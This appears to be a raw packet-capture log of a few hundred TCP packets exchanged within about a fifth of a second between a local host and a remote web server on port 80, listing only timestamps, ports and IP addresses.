May 22, 2024 20:06:31.531594992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.531622887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.531663895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.531771898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.531826973 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.609743118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.609822035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.609843969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.609891891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.609918118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.609972954 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.610009909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.610057116 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.610085964 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.610111952 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.610155106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.610208988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.610236883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.610290051 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.610307932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.610348940 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.610372066 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.610419989 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.610439062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.610507965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.610539913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.610593081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.610606909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.610641956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.610670090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.610718012 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.610735893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.610784054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.614522934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.614653111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.614844084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.614898920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.614912987 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.614950895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.614995003 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.615047932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.615073919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.615128040 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.615142107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.615178108 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.615202904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.615257025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.615271091 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.615309954 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.615350008 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.615402937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.615416050 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.615449905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.615492105 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.615540028 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.615556955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.615607977 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.615622044 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.615655899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.615710020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.615760088 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.615833044 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.615883112 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.615899086 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.615951061 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.615978003 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.616029978 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.616055965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.616110086 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.616122961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.616158009 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.616187096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.616239071 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.616266012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.616318941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.616333008 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.616367102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.616409063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.616461992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.616480112 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.616509914 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.616532087 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.616583109 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.616609097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.616662979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.616676092 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.616709948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.616740942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.616805077 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.616822958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.616874933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.616889000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.616921902 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.616949081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.616997004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.617012978 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.617058039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.617084980 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.617105007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.617130995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.617177963 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.617194891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.617242098 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.617258072 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.617306948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.617324114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.617372990 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.617388010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.617434025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.617453098 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.617501020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.617516994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.617567062 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.620521069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.620592117 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.620606899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.620649099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.620671034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.620719910 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.620734930 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.620780945 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.620805979 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.620829105 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.620857954 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.620910883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.620924950 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.620959044 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.620985985 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.621037006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.621052027 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.621084929 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.621113062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.621164083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.621180058 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.621215105 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.621239901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.621293068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.621306896 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.621340036 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.621368885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.621419907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.621433020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.621469021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.621494055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.621546030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.621558905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.621593952 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.621619940 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.621670961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.621685028 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.621717930 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.621747017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.621793985 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.621818066 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.621841908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.621871948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.621920109 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.621936083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.621982098 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.621999979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.622047901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.628983974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.629034042 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.629076958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.629122019 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.630667925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.630732059 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.630759001 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.630790949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.630815029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.630887032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.630902052 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.630964041 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.630980968 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.631026030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.631053925 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.631081104 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.631098986 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.631149054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.631164074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.631217003 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.631243944 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.631297112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.631309986 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.631346941 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.631371975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.631419897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.631434917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.631488085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.631514072 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.631567001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.631581068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.631614923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.631643057 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.631692886 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.631722927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.631778955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.631805897 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.631859064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.631872892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.631915092 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.631947041 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.631961107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.631984949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.632033110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.632049084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.632101059 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.632113934 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.632148981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.632174969 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.632222891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.632237911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.632286072 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.632302046 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.632352114 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.632368088 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.632416964 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.632432938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.632481098 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.632496119 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.632560968 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.632576942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.632626057 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.632642031 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.632689953 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.632705927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.632754087 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.634804964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.634851933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.634876013 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.634898901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.698947906 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.698980093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.699007988 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.699023008 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.699047089 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.699058056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.699078083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.699105978 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.699121952 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.699141026 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.699173927 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.699208021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.699265957 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.699286938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.699309111 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.699316978 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.699332952 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.699358940 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.699434042 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.699481010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.699537039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.699558020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.699579000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.699584961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.699603081 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.699634075 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.703738928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.703758955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.703778982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.703799009 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.703824043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.703840017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.703869104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.703881025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.703896046 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.703926086 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.703938961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.703948975 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.703967094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.703989983 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.704020023 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.704165936 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704186916 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704217911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704225063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.704243898 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.704252958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704269886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704278946 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.704313040 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.704333067 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.704358101 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704375982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704396963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704411030 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.704423904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704438925 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.704447985 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704483032 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.704499960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704526901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.704561949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.704585075 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704659939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704679966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704689980 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.704727888 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.704843998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704863071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704884052 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.704915047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.704966068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.704988956 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705008030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705029964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705041885 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.705058098 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705076933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705085993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.705104113 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705121040 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.705131054 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705144882 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.705157995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705180883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.705218077 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.705365896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705384016 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705408096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705419064 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.705435991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705446005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.705461979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705482006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705492020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.705539942 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.705657005 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705677032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705696106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705709934 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.705724001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705743074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705761909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.705770969 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705799103 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.705826998 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.705967903 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.705986977 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706007004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706021070 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.706029892 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706043005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.706053019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706072092 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706083059 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.706099033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.706118107 CEST	80	49708	185.172.128.82	192.168.2.6
